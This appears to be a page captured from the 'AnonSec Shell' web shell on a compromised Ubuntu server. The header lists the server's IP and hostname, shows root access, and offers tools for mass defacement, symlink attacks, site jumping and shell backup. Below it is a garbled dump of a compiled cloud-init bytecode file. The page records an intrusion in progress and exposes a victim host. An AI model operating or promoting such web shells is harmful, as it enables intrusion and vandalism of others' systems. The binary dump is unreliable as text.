AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/net/__pycache__/openbsd.cpython-310.pyc
o

x[h�	�@sZddlZddlZddlZddlmZmZmZe�e�Z	Gdd�dejj
j�Zddd�Z
dS)�N)�net�subp�utilc@s(eZdZd	dd�Zd
dd�Zdd�ZdS)�RendererNc	Cs�|j��D]U\}}d�|�}t�|j|�}||��vrd}n6t|t�rTz
dj|d|dd�}Wnt	y?t
�d|�Ynw|�d�}|rM|d	|7}|d
|j
7}t�||�qdS)Nzetc/hostname.{}zdhcp
zinet {address} {netmask}�address�netmask)rrz#Invalid static configuration for %s�mtuz
mtu %d�
)�interface_configurations�items�formatr�target_path�target�dhcp_interfaces�
isinstance�dict�KeyError�LOG�error�get�interface_routesr�
write_file)�selfr�device_name�v�if_file�fn�contentr�r�7/usr/lib/python3/dist-packages/cloudinit/net/openbsd.py�write_config
s*


���
�zRenderer.write_configFcCs�ttt���d�d�dk�}|jst�d�dS|r8tjddgdd�|�	�D]
}tjd	d
d|gdd�q(dSt
jj�
�tjgd�ddd
gd�tjgd�ddd
gd�tjddgdd�dS)N�.r�z!openbsd generate postcmd disabled�shz
/etc/netstartT)�capture�dhcpleasectlz-w�30)�route�del�default�)r$�rcs)r'�flushr))�bool�int�platform�release�split�	_postcmdsr�debugrrr�dhcp�IscDhclient�kill_dhcp_client)r�run�has_dhcpleasectl�	interfacerrr�start_services"s
��zRenderer.start_servicescCsZ|dkrd}t�|j|�}|d}t�||�dS|jd|d|d|d|_dS)Nz0.0.0.0z
etc/mygater	z!route add z
 -netmask � )rr
rrrr)r�networkr�gatewayrrrrrr�	set_route3s*��������zRenderer.set_route�N)F)�__name__�
__module__�__qualname__r r:r>rrrrrs

rcCst��Sr?)r�
is_OpenBSD)rrrr�	availableFsrDr?)�loggingr/�cloudinit.net.bsd�	cloudinitrrr�	getLoggerr@r�bsd�BSDRendererrrDrrrr�<module>s
:

Anon7 - 2022
AnonSec Team